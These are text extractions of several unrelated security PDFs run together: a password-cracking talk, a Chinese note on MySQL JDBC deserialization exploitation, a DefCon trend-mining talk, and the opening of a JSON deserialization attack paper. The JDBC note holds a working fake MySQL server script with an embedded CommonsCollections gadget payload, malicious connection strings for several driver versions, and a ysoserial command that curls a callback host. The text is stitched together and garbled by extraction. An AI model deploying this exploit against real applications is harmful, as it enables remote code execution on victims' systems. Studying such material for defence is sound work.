based on grabbing the alpha characters from disclosed password lists, (and making some assumptions) - P@ssword12 = password - *stuff* = stuff - firewa11 = firewa (Problem) Edit Distance (Continued) • Look at the edit distance between a password and an input dictionary • Cons: - Can produce false positives and negatives - Only as good as the input dictionary • Pros: - Produces useful custom wordlists - Quickly evaluates how good current wordlists are • dic-0294 - Description: Really BIG Dictionary - Percentage Found: 49.9% - Size: 869,228 Words • words.english.txt • Percentage Found: 10.6% • Size: 213,557 Words Evaluation of Dictionaries vs. Myspace • common-password.txt - Percentage Found: 5.3% - Size: 816 Words • Wiktionary English Words • Percentage Found: 32% • Size: 68,611 Words Time to Check in on our Demos Word Mangling Rules • Generally what people focus on in password cracking • Most password crackers are fairly limited in their rule sets • LANMAN hashes spoiled us Word Mangling Rules + Teamwork = Hard • It’s easy to crack passwords created with only one mangling rule • The trick is dealing with passwords that use more than one mangling rule - P@ssWord12 • Or they use a nonstandard rule - p7assword Cain and Able vs John the Ripper • They are the two major free password crackers out there • Which one should you use? • Answer: - John the Ripper Why not Cain and Able? Getting the Most out of John the Ripper • Install the unofficial patches if you need support for other types of hashes • Do NOT use the default john.config file - It’s a pain, but learning the rule syntax is very useful - The RULES readme file is your friend Brute Force with John • By default, JtR uses Markov models to generate brute force guesses - You can actually train the Markov model based on passwords you already have - Warning: it does require a lot of passwords to train it Targeted Brute Force • Often you will want to brute force certain types of passwords • AKA six letters followed by two numbers • You can do this in John, but it’s a bit of a hack Targetd Brute Force (continued) • Create a input wordlist of a-z • aka a b c d e f g ..... z • Now create a rule to add all the other values • $[a-z]$[a-z]$[a-z]$[a-z]$[0-9]$[0-9] • You can even get fancy and apply some Markov models of your own Probabilistic Context Free Grammar • Guess which project we are writing a paper on… • In a nutshell, it allows you to define very detailed rules easily • It assigns a probability to every word mangling rule, number, word, capitalization, special character, etc PCFG Password Crackers (continued) • It is trained off of existing password lists • This way, depending on the probabilities, it might try the following guesses in this order - password12 - password! - password13 • You can simulate it to a certain extent by creating 100s, (or 1000s) of rules in John the Ripper Using our PCFG Password Cracker • It currently makes guesses and outputs them to stdout • Pipe the guesses into JtR since we didn’t want to write our own hashing / management software • It does have some overhead, but going against strong hashes it’s not significant Gotta Have at Least One Graph • Measures the performance of the default JtR rule set vs our PCFG • X-axis=number of guesses • Y-axis=number of found passwords Check Final Results of Demo Picture stolen from xkcd.com Questions / Comments • Matt Weir • weir@cs.fsu.edu • www.ecit.fsu.edu Picture stolen from marriedtothesea.com
pdf
1 JDBC反序列化⼊⻔学习 JDBC? 测试环境 建⽴JDBC连接 反序列化简单介绍 断点调试 构造POC show session status响应包 Exp 补充 资料(原⽂) 不复制粘贴了,⻅JDBC基础介绍 IDEA Mysql 5.7 https://www.runoob.com/java/java-mysql-connect.html 学习来源 https://xz.aliyun.com/t/8159 JDBC? 1 Java Database Connectivity 测试环境 建⽴JDBC连接 2 下载驱动包 https://dev.mysql.com/downloads/connector/j/ 不要下最新的,估摸着是修了。下载8.0.12 多下⼏个版本 3 右键引⼊作为module库,就跑起来了。 漫谈Java反序列化  https://github.com/SummerSec/JavaLearnVulnerability 每个版本在反序列化利⽤的时候有⼀定区别。 反序列化简单介绍 4 以及落⽊萧萧的article 跟着⽂章学习 com.mysql.cj.jdbc.Driver的触发点是 要触发需要在连接字符串中加上 打断点 1 反序列化漏洞三要素实现Serializabe接⼝、readObject()、writeObject()⽅法, 缺⼀不可。 2 3 漏洞挖掘或许就是怎么找到可控点,达到rce的⽬的。 断点调试 1 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 1 queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI nterceptor&autoDeserialize=true 5 如果是⼆进制数据就会往下⾛,到readObject处触发反序列化。 6 这个⽅法在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithS essionStatusValues() 处调⽤。 对⽐其他⼈的漏洞分析⽂章发现,我的这个版本在这⾥没有了对结果处理的函数 调⽤点 7 根据执⾏ SHOW SESSION STATUS 这条语句之后要在服务端返回⼀个恶意的⼆进制对象,所以重点就是 怎么构造这个对象,有时候漏洞存在的情况仍然攻击不成功,有可能是因为各个版本的mysql发包不⼀样, 需要抓包定制化攻击。 Mac下抓包测试 第⼀个是Response Ok 构造POC 1 tcp.port ==3306 && mysql 8 数据包内容为 重点是这个响应包 结果集响应包的结构 1 0700000200000002000000 show session status响应包 9 数据段1:说明下⾯的结果集有多少列 数据段2:列的定义 数据段3: EOF 包 数据段4:⾏数据。 结果集数据包如图 10 整个数据包如下 1 01 数据⻓度为1 00 00 01 sequence id为1 02 代表有两列 11 第三部分是EOF,⽂章作者说加上就会报错。我在问熟悉这个漏洞的朋友。 第四部分就是⾃⼰的poc 使⽤yso⽣成即可。 yso的链⽬前不懂。 补充截图 问候报⽂ 1 java -jar wingyso.jar CommonsCollections7 "curl 5s3g.hyuga.co" > data 12 所有的response需要对应上。 作者的poc 1 # -*- coding:utf-8 -*- 2 #@Time : 2020/7/27 2:10 3 #@Author: Tri0mphe7 4 #@File : server.py 5 import socket 6 import binascii 7 import os 8 9 greeting_data="4a0000000a352e372e31390008000000463b452623342c2d0 0fff7080200ff811500000000000000000000032851553e5c23502c51366a006 d7973716c5f6e61746976655f70617373776f726400" 10 response_ok_data="0700000200000002000000" 13 11 12 def receive_data(conn): 13 data = conn.recv(1024) 14 print("[*] Receiveing the package : {}".format(data)) 15 return str(data).lower() 16 17 def send_data(conn,data): 18 print("[*] Sending the package : {}".format(data)) 19 conn.send(binascii.a2b_hex(data)) 20 21 def get_payload_content(): 22 //file⽂件的内容使⽤ysoserial⽣成的 使⽤规则 java -jar ysoserial [common7那个] "calc" > a 23 file= r'a' 24 if os.path.isfile(file): 25 with open(file, 'rb') as f: 26 payload_content = str(binascii.b2a_hex(f.read()),enc oding='utf-8') 27 print("open successs") 28 29 else: 30 print("open false") 31 #calc 32 payload_content='aced0005737200116a6176612e7574696c2e486 17368536574ba44859596b8b7340300007870770c000000023f4000000000000 1737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696 f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fd b0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c0 0036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f737 2002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7 32e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f7 27974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c6563746 96f6e732f5472616e73666f726d65723b78707372003a6f72672e61706163686 52e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436 861696e65645472616e73666f726d657230c797ec287a97040200015b000d695 472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6 f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b787075720 02d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6 e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057 372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6 14 e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587 690114102b1940200014c000969436f6e7374616e7471007e000378707672001 16a6176612e6c616e672e52756e74696d6500000000000000000000007870737 2003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7 32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6 b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f6 26a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e6 72f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612 f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626 a6563743b90ce589f1073296c02000078700000000274000a67657452756e746 96d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9 90200007870000000007400096765744d6574686f647571007e001b000000027 67200106a6176612e6c616e672e537472696e67a0f0a4387a3bb342020000787 07671007e001b7371007e00137571007e001800000002707571007e001800000 000740006696e766f6b657571007e001b00000002767200106a6176612e6c616 e672e4f626a656374000000000000000000000078707671007e00187371007e0 013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4 702000078700000000174000463616c63740004657865637571007e001b00000 00171007e00207371007e000f737200116a6176612e6c616e672e496e7465676 57212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616 e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a617 6612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f616 4466163746f724900097468726573686f6c6478703f400000000000007708000 0001000000000787878' 33 return payload_content 34 35 # 主要逻辑 36 def run(): 37 38 while 1: 39 conn, addr = sk.accept() 40 print("Connection come from {}:{}".format(addr[0],addr[1 ])) 41 42 # 1.先发送第⼀个 问候报⽂ 43 send_data(conn,greeting_data) 44 45 while True: 46 # 登录认证过程模拟 1.客户端发送request login报⽂ 2.服务端 响应response_ok 15 47 receive_data(conn) 48 send_data(conn,response_ok_data) 49 50 #其他过程 51 data=receive_data(conn) 52 #查询⼀些配置信息,其中会发送⾃⼰的 版本号 53 if "session.auto_increment_increment" in data: 54 _payload='01000001132e00000203646566000000186175 746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0 000000002a00000303646566000000146368617261637465725f7365745f636c 69656e74000c21000c000000fd00001f00002e00000403646566000000186368 617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00 001f00002b00000503646566000000156368617261637465725f7365745f7265 73756c7473000c21000c000000fd00001f00002a000006036465660000001463 68617261637465725f7365745f736572766572000c210012000000fd00001f00 00260000070364656600000010636f6c6c6174696f6e5f736572766572000c21 0033000000fd00001f000022000008036465660000000c696e69745f636f6e6e 656374000c210000000000fd00001f0000290000090364656600000013696e74 65726163746976655f74696d656f7574000c3f001500000008a0000000001d00 000a03646566000000076c6963656e7365000c210009000000fd00001f00002c 00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d65 73000c3f001500000008a0000000002800000c03646566000000126d61785f61 6c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03 646566000000116e65745f77726974655f74696d656f7574000c3f0015000000 08a0000000002600000e036465660000001071756572795f63616368655f7369 7a65000c3f001500000008a0000000002600000f036465660000001071756572 795f63616368655f74797065000c210009000000fd00001f00001e0000100364 65660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011 036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000 fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012 000000fd00001f00002b00001303646566000000157472616e73616374696f6e 5f69736f6c6174696f6e000c21002d000000fd00001f00002200001403646566 0000000c776169745f74696d656f7574000c3f001500000008a0000000000201 00150131047574663804757466380475746638066c6174696e31116c6174696e 315f737765646973685f6369000532383830300347504c013107343139343330 340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f5550 5f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f 494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f44 49564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f55 5345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1 16 ead7bccab1bce4062b30383a30300f52455045415441424c452d524541440532 3838303007000016fe000002000000' 55 send_data(conn,_payload) 56 data=receive_data(conn) 57 elif "show warnings" in data: 58 _payload = '01000001031b00000203646566000000054c 6576656c000c210015000000fd01001f00001a0000030364656600000004436f 6465000c3f000400000003a1000000001d00000403646566000000074d657373 616765000c210000060000fd01001f000059000005075761726e696e67043132 38374b27404071756572795f63616368655f73697a6527206973206465707265 636174656420616e642077696c6c2062652072656d6f76656420696e20612066 75747572652072656c656173652e59000006075761726e696e6704313238374b 27404071756572795f63616368655f7479706527206973206465707265636174 656420616e642077696c6c2062652072656d6f76656420696e20612066757475 72652072656c656173652e07000007fe000002000000' 59 send_data(conn, _payload) 60 data = receive_data(conn) 61 if "set names" in data: 62 send_data(conn, response_ok_data) 63 data = receive_data(conn) 64 if "set character_set_results" in data: 65 send_data(conn, response_ok_data) 66 data = receive_data(conn) 67 if "show session status" in data: 68 mysql_data = '0100000102' 69 mysql_data += '1a0000020364656600016301630163016 30c3f00ffff0000fc9000000000' 70 mysql_data += '1a0000030364656600016301630163016 30c3f00ffff0000fc9000000000' 71 # 为什么我加了EOF Packet 就⽆法正常运⾏呢?? 72 //获取payload 73 payload_content=get_payload_content() 74 //计算payload⻓度 75 payload_length = str(hex(len(payload_content)//2 )).replace('0x', '').zfill(4) 76 payload_length_hex = payload_length[2:4] + paylo ad_length[0:2] 77 //计算数据包⻓度 78 data_len = str(hex(len(payload_content)//2 + 4)) .replace('0x', '').zfill(6) 17 79 data_len_hex = data_len[4:6] + data_len[2:4] + d ata_len[0:2] 80 mysql_data += data_len_hex + '04' + 'fbfc'+ payl oad_length_hex 81 mysql_data += str(payload_content) 82 mysql_data += '07000005fe000022000100' 83 send_data(conn, mysql_data) 84 data = receive_data(conn) 85 if "show warnings" in data: 86 payload = '01000001031b00000203646566000000054c6 576656c000c210015000000fd01001f00001a0000030364656600000004436f6 465000c3f000400000003a1000000001d00000403646566000000074d6573736 16765000c210000060000fd01001f00006d000005044e6f74650431313035625 175657279202753484f572053455353494f4e205354415455532720726577726 97474656e20746f202773656c6563742069642c6f626a2066726f6d206365736 8692e6f626a73272062792061207175657279207265777269746520706c75676 96e07000006fe000002000000' 87 send_data(conn, payload) 88 break 89 90 91 if __name__ == '__main__': 92 HOST ='0.0.0.0' 93 PORT = 3307 94 95 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 96 #当socket关闭后,本地端⽤于该socket的端⼝号⽴刻就可以被重⽤.为了实验的 时候不⽤等待很⻓时间 97 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 98 sk.bind((HOST, PORT)) 99 sk.listen(1) 100 print("start fake mysql server listening on {}:{}".format(HO ST,PORT)) 101 102 run() Exp 18 测试的时候把yso这个包也当做依赖加进来才能出发CC链。所以实战中最好全部跑⼀边,只要确定⽬标的 版本没问题的话。 19 1 ServerStatusDiffInterceptor触发 2 8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryI nterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterc eptor&user=yso_JRE8u20_calc 3 4 6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=t rue&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerSt atusDiffInterceptor&user=yso_JRE8u20_calc 5 6 5.1.11及以上的5.x版本(包名没有了cj): jdbc:mysql://127.0.0.1:3306/tes t?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.inter ceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 7 8 5.1.10及以下的5.1.X版本: 同上,但是需要连接后执⾏查询。 9 10 5.0.x: 还没有ServerStatusDiffInterceptor这个东⻄┓( ´∀` )┏ 11 12 detectCustomCollations触发: 13 5.1.41及以上: 不可⽤ 14 15 5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomColla tions=true&autoDeserialize=true&user=yso_JRE8u20_calc 16 17 5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize= true&user=yso_JRE8u20_calc 18 20 可以配合Tomcat和Spring进⾏回显利⽤ https://xz.aliyun.com/t/9250 https://xz.aliyun.com/t/8159#toc-2 https://github.com/fnmsd/MySQL_Fake_Server 19 5.1.18以下的5.1.x版本: 不可⽤ 20 21 5.0.x版本不可⽤ 补充 资料(原⽂)
pdf
Meme Mining for Fun Meme Mining for Fun and Profit and Profit By Broward Horne By Broward Horne DefCon DefCon 13 13 33--Part Presentation Part Presentation Tactical Tactical –– MemeMiner MemeMiner Parlor Tricks Parlor Tricks Operational Operational –– SS--curve theory curve theory Strategic Strategic –– Social Bandwidth Social Bandwidth Dot Com Crash Continues? Dot Com Crash Continues? Recent layoffs in 2005 Recent layoffs in 2005 IBM IBM –– 13,000 13,000 Hypercom Hypercom Sun Sun –– another 5% another 5% BMC BMC GM GM –– 25,000 25,000 Krispy Krispy Kreme Kreme GE GE –– ““reorganization reorganization”” Cray Cray Alcoa Alcoa –– 6,500 6,500 DHL DHL Winn Dixie Winn Dixie –– 22,000 22,000 American Express American Express Lear Lear –– 7,700 7,700 What To Do? What To Do? Your time and effort are finite. Your time and effort are finite. The IT market changes constantly. The IT market changes constantly. What skills should you focus on? What skills should you focus on? A mistake can be costly. A mistake can be costly. Me Me Why should you listen to me? Why should you listen to me? Hacked some systems prior to 1991 Hacked some systems prior to 1991 SS--Curve Curve Fundamental business function Fundamental business function SS--Curve Curve Rate of change in normal curve Rate of change in normal curve Meme Mining Theory Meme Mining Theory Frequency count is proxy for S Frequency count is proxy for S--curve curve Monitor technical trends Monitor technical trends Ride the S Ride the S--curve curve Example Example Delphi Programming Language Delphi Programming Language Meme Miner Meme Miner Simple java program Simple java program Executes sequential queries Executes sequential queries Builds chart with query results Builds chart with query results DejaNews DejaNews Frequency Count Frequency Count Rough Proxy for Internet Growth Rough Proxy for Internet Growth Major Events Major Events Historical Graphs Historical Graphs Delphi Delphi Historical Graphs Historical Graphs Work Work –– can you identify the pattern? can you identify the pattern? Historical Graphs Historical Graphs Palladium Palladium –– rumors precede rise rumors precede rise Historical Graphs Historical Graphs Concurrent with stock prices Concurrent with stock prices Historical Graphs Historical Graphs Classic S Classic S--curve points of interest curve points of interest Pre Pre--inflection Graphs inflection Graphs Water shortage Water shortage Pre Pre--inflection Graphs inflection Graphs Trends in Scripting Languages Trends in Scripting Languages Pre Pre--inflection Graphs inflection Graphs WIMAX about to explode? WIMAX about to explode? Pre Pre--inflection Graphs inflection Graphs Wi Wi--fifi phone is hot phone is hot Pre Pre--inflection Graphs inflection Graphs Blogs Blogs ( 27% don ( 27% don’’t know what it is ) t know what it is ) Pre Pre--inflection Graphs inflection Graphs Inflection tends to be at 50% point Inflection tends to be at 50% point Inflection point is maximum hysteria Inflection point is maximum hysteria What can we predict about What can we predict about ““blogging blogging””?? Pre Pre--inflection Graphs inflection Graphs RSS Feeds RSS Feeds Miner Deficiencies Miner Deficiencies Requires knowledge of trend to test Requires knowledge of trend to test Subject to manipulation Subject to manipulation Not statistically rigorous Not statistically rigorous Dependent on good keywords Dependent on good keywords Works poorly for non Works poorly for non--technical trends technical trends Potential Improvements Potential Improvements Use RSS feeds to catch trend earlier Use RSS feeds to catch trend earlier Skewing factor for search engines Skewing factor for search engines Extract more abstract relationships Extract more abstract relationships Internet S Internet S--Curve Curve Has Internet Growth peaked? Has Internet Growth peaked? What happens if growth peaks? What happens if growth peaks? DejaNews DejaNews Anomaly Anomaly Market saturation? Market saturation? Social Bandwidth Social Bandwidth People have finite bandwidth People have finite bandwidth People have finite storage People have finite storage Shared context impacts bandwidth Shared context impacts bandwidth Cost of Information Cost of Information Marginal Cost versus Marginal Return Marginal Cost versus Marginal Return Cost Versus Price Cost Versus Price Diversity versus Cost Diversity versus Cost IT Trend Change IT Trend Change Marginal cost exceeds return Marginal cost exceeds return Other Signs Other Signs Comdex shows no recovery Comdex shows no recovery
pdf
July 2017 HPE Software Security Research Paper Introduction Security issues with deserialization of untrusted data in several programming languages have been known for many years. However, it got major attention on 2016 which will be remembered as the year of Java Deserialization apocalypse. Despite being a known attack vector since 2011, the lack of known classes leading to arbitrary code execution in popular libraries or even the Java Runtime allowed Java Deserialization vulnerabilities fly under the radar for a long time. These classes could be used to execute arbitrary code or run arbitrary processes (remote code execution or RCE gadgets). In 2015 Frohoff and Lawrence published an RCE gadget in the Apache Commons- Collections library 1 which was used by many applications and therefore caught many applications deserializing untrusted data off-guard. The publication of the Apache Commons-Collections gadget was followed by an explosion of new research on gadgets, defense and bypass techniques and by the hunting of vulnerable products/endpoints. The most obvious solution proposed at that time to mitigate the growing number of vulnerable applications was to stop using Java serialization altogether which involved replacing it with something else. Several security experts including ourselves pointed at secure JSON libraries as a viable alternative 2 since some XML parsers were also known to be vulnerable and JSON was still free of known RCE vectors. Our research showed that the main requirements for successful RCE attacks on unmarshalling libraries are that: 1) The library invokes methods on user-controlled types such as non-default constructors, setters, deserialization callbacks, destructors, etc. 2) The availability of a large gadget space to find code which logic could be abused by the attacker to craft his/her payloads. As we will conclude, the format used for the serialization is not relevant. It can be binary data, text such as XML, JSON or even custom binary formats. As long as those requirements are met, attackers may be able to gain code execution opportunities regardless of the format. (With format being XML, JSON or the classical Java and .Net binary serializers) In this paper, we will focus on JSON libraries and we will analyze which ones could allow arbitrary code execution upon deserialization of untrusted data. We will also have a look at .NET world by reviewing existing research on this field and completing it with updated list of vulnerable formatters and proof of concept gadgets to attack them. To finish, we will extend the research on JSON serialization libraries and .NET formatters into any serialization format available. We will provide guidance to find out whether it could be attacked and how to attack it. Where possible, we will also provide mitigation advice to help avoid vulnerable configurations that could turn your serialization library vulnerable. 1 https://frohoff.github.io/appseccali-marshalling-pickles/ 2 https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java- endpoints.pdf Friday the 13th JSON Attacks Alvaro Muñoz & Oleksandr Mirosh HPE Software Security Research BlackHat Conference July 2017 HPE Software Security Research Paper JSON Attacks The immediate question we raised after researching Java Deserialization attacks 3 and JNDI attacks 4 was, Is JSON any better? The easy answer is yes for simple JSON, when used to transmit simple objects (normally Javascript objects) or pure data. However, replacing Java or .NET serialization with JSON implies sending Java/.NET objects and thus would also require being able to deal with polymorphism and other OOP wonders. Both Java Deserialization and .NET BinaryFormatter deserialization are known to be vulnerable to deserialization attacks since they invoke deserialization callbacks during the process. The whole attack boils down to be able to control an object type in the deserialized object graph which has a deserialization callback whose logic could be subverted to run arbitrary code. JSON deserialization, in general, lacks the concept of deserialization callbacks which may lead to a false sense of security: these formats being secure to deal with untrusted data. To prove this hypothesis wrong, let's review how deserialization libraries normally work. When dealing with Java/.NET objects, a JSON unmarshaller should be able to reconstruct the object using the details present in JSON data. There are different ways to do this reconstruction. The most common ones are the following: Default constructor and reflection The unmarshaller creates a new object (allocates space in memory) by using the default (parameterless) constructor and then uses reflection to populate all fields or property members. This approach is used by some JSON unmarshallers such as JSON-IO (Java) and “classical” .NET deserializers (when Type is annotated as Serializable but does not implements ISerializable interface). It is a quite powerful way of reconstructing objects and allows to work with most object types. At first glance, it seems to be secure as usually no methods are invoked during the unmarshalling process and therefore it may be difficult to start a gadget chain. Unfortunately, this impression is not completely correct and there are still some chain-starting gadgets that can be successfully used for attacks: • Destructors (eg: Finalize()) – Will always be invoked by the garbage collector. • Some types cannot be reconstructed using reflection. For example, .NET Hashtable – hashes may be different on various machines/OSs so they need to be recalculated. During this process a lot of methods such as HashCode() Equal() or Compare() may get invoked. • It is normally possible to find calls to other methods. For example toString() may get invoked by an exception handler. Default constructor and setters Like the previous approach, unmarshaller creates a new object by calling the default constructor but instead of using reflection, it uses property/field setters to populate the object fields. Usually unmarshallers work only with public properties/fields so this approach is more limited than the previous one. Despite this limitation, the major part of unmarshallers use this approach to reconstruct objects. In some cases, unmarshallers can even use reflection to invoke private setter as well. Since custom setters are common in standard and third-party libraries, the gadget space is quite large for both languages .NET and Java which opens an interesting space for attacks. Special constructor or "deserialization callbacks" For object reconstruction, unmarshaller can use special constructors, "deserialization callbacks" or "magic methods" to trigger special logic that could be required to completely initialize the object. Examples can be Json.Net with its [OnError] attribute 5 or classical deserializers: readObject() for Java, special constructor for ISerializable in .NET, [OnDeserialized] and [OnDeserializing] annotated methods in .NET or ReadXml() of IXmlSerializable for XmlSerializer. 3 https://community.saas.hpe.com/t5/Security-Research/The-perils-of-Java-deserialization/ba- p/246211#.WVIMyROGPpQ 4 https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE- wp.pdf 5 http://www.newtonsoft.com/json/help/html/SerializationErrorHandling.htm BlackHat Conference July 2017 HPE Software Security Research Paper We found it is a quite rare case when JSON marshaller has own deserialization callbacks but a few libraries try to bridge to Java/.NET deserialization callbacks. Java deserialization attacks were based on the fact that deserialization callbacks were invoked during deserialization. Controlling the serialized data (used in these callbacks) was used to launch different forms of attacks including code execution or denial of service. As we already saw, JSON unmarshallers do not normally run any callbacks during object deserialization so existing gadgets are normally useless for attacking these unmarshallers. However, there are other methods that will be executed during the deserialization process which we could use to start a gadget chain. • Used so far classical serialization formats: o Serialization callbacks or magic methods (eg: Serializable, Externalizable, ISerializable, etc.) o Proxy handlers o Common invoked methods such as: toString(), hashCode() and equals() o Destructor • Other methods that could be used to start gadget chains: o Non-default constructors o Setters o Type Converters (.NET specific) We found that most of the JSON libraries we analyzed invoked setters to populate object fields, therefore we focused our analysis on finding types with setters that could lead to arbitrary code execution. For this analysis, it is important to understand the difference between setters in the two major programming languages: .NET and Java. While .NET uses properties, and has real getters and setters to read and write the values of the property's backing fields, Java lacks the concept of properties and only works with fields. Therefore, Java getters and setters are merely a convention to designate methods which are meant to read and write class' fields. A strict verification of whether a field exists and the setter name follows the getter/setter nomenclature convention is left to library implementations and very often they lack a strict verification process. This can be abused by an attacker to force the execution of methods that are not really field setters (they don’t have a backing field or they do not even follow a strict naming convention such as camel casing the property name which could be used to call methods such as setup() just because it starts with "set" prefix and has only one argument). Affected Libraries During this research, we analyzed different Java/.NET libraries to determine whether these libraries could lead to arbitrary code execution upon deserialization of untrusted data in their default configuration or under special configurations. Each library works in a different way but we found the following factors which could lead to arbitrary code execution: • Format includes type discriminator o By default o Enabling a configuration setting • Type control o Cast after deserialization • Attacker will be able to send any arbitrary type/class which will be reconstructed before the cast is performed and therefore the payload will be executed by the time we get a cast exception. BlackHat Conference July 2017 HPE Software Security Research Paper o Inspection of expected type object graph (weak) • Check that expected member type is assignable from provided type. • Vulnerable if an attacker can find suitable “entry point” for payload in expected object graph. Refer to "Finding entry points in object graphs" for more details. o Inspection of expected type object graph (strong) • Inspection of expected type object graph to create whitelist of allowed types • Still vulnerable if expected type is user controllable Analyzed libraries can be summarized in the following table: Name Language Type Discriminator Type Control Vector FastJSON .NET Default Cast Setter Json.Net .NET Configuration Expected Object Graph Inspection (weak) Setter Deser. Callbacks Type Converters FSPickler .NET Default Expected Object Graph Inspection (weak) Setter Deser. callbacks Sweet.Jayson .NET Default Cast Setter JavascriptSerializer .NET Configuration Cast Setter DataContractJsonSerializer .NET Default Expected Object Graph Inspection (strong) Setter Deser. callbacks Jackson Java Configuration Expected Object Graph Inspection (weak) Setter Genson Java Configuration Expected Object Graph Inspection (weak) Setter JSON-IO Java Default Cast toString BlackHat Conference July 2017 HPE Software Security Research Paper FlexSON Java Default Cast Setter FastJSON Project Site: https://github.com/mgholam/fastJSON NuGet Downloads: 71,889 FastJson includes type discriminators by default which allows attackers to send arbitrary types. It performs a weak type control by casting the deserialized object to the expected type when object has already been deserialized. During deserialization, it will call: • Setters Should never be used with untrusted data since it cannot be configured in a secure way. Json.Net Project Site: http://www.newtonsoft.com/json NuGet Downloads: 64,836,516 Json.Net is probably the most popular JSON library for .NET. In its default configuration, it will not include type discriminators on the serialized data which prevents this type of attacks. However, developers can configure it to do so by either passing a JsonSerializerSettings instance with TypeNameHandling property set to a non-None value: var deser = JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); Or by annotating a property of a type to be serialized with the [JsonProperty] annotation: [JsonProperty(TypeNameHandling = TypeNameHandling.All)] public object Body { get; set; } The possible values for TypeNameHandling are: None 0 Do not include the type name when serializing types Objects 1 Include the .NET type name when serializing into a JSON object structure. Array 2 Include the .NET type name when serializing into a JSON array structure. All 3 Always include the .NET type name when serializing. Auto 4 Include the .NET type name when the type of the object being serialized is not the same as its declared type. Json.Net performs a verification of expected type. If expected type is not assignable from the one to be deserialized, unmarshaller will not process it. However, it is usually possible for attackers to use the same expected type or any derived type from it and place its payload gadget in a generic entry point member (See "Finding entry points in object graphs"). This is a balanced approach between security and usability for developers, as it will define a whitelist of valid types based on expected object graph. This approach offers robust security while saving developers from having to manually create these whitelists. This approach is not 100% bullet proof since there are still dangerous cases where an attacker can insert desired payload if any property from current, parent or derived type satisfies any of these requirements: • It is Object Type (java.lang.Object or System.Object) BlackHat Conference July 2017 HPE Software Security Research Paper • It is a non-generic collection (e.g.: ArrayList, Hashtable, etc.) • It implements IDynamicMetaObjectProvider • It is System.Data.EntityKeyMember or any derived Type from it. We may not need even TypeNameHandling property set to a non-None (see the EntityKeyMemberConverter in "TypeConverters" section). As the mentioned analysis can be done recursively for each property, including ones from derived types, the surface of available types can increase dramatically and controlling it becomes a non-trivial task for developers. Furthermore, for the mentioned cases, very often the deserializer will need to infer what type it needs to create, and using TypeNameHandling.{Objects|Arrays|All|Auto} becomes mandatory. We will present a real-world case in "Example: Breeze (CVE-2017-9424)". If Json.Net is configured to use an insecure TypeNameHandling setting, and the expected object graph contains a member we can use for the injection, attackers may use a wide range of gadgets since Json.Net will call multiple methods: • Setters • Serialization Constructor • Type Converters • OnError annotated methods To use it with untrusted data, either, do NOT use any TypeNameHandling other than None or use a SerializationBinder6 to validate and whitelist the incoming types. FSPickler Project site: http://mbraceproject.github.io/FsPickler/ NuGet Dowloads: 97,245 FsPickler is a serialization library that facilitates the distribution of objects across .NET processes. The implementation focuses on performance and supporting as many types as possible, where possible. It supports multiple, pluggable serialization formats such as XML, JSON and BSON; also included is a fast binary format of its own. FSPickler will include type discriminators by default so attackers may be able to force the instantiation of arbitrary types. However, it performs an expected type graph inspection which will require the attacker to find a member in the object graph where the payload can be injected. During deserialization, it will call: • Setters • Serialization Constructor FSPickler should never be used with untrusted data unless expected types are simple and payload injection is not possible. This is not a recommended approach since it requires keeping current with published gadgets. Sweet.Jayson Project Site: https://github.com/ocdogan/Sweet.Jayson NuGet Downloads: 1,697 Fast, reliable, easy to use, 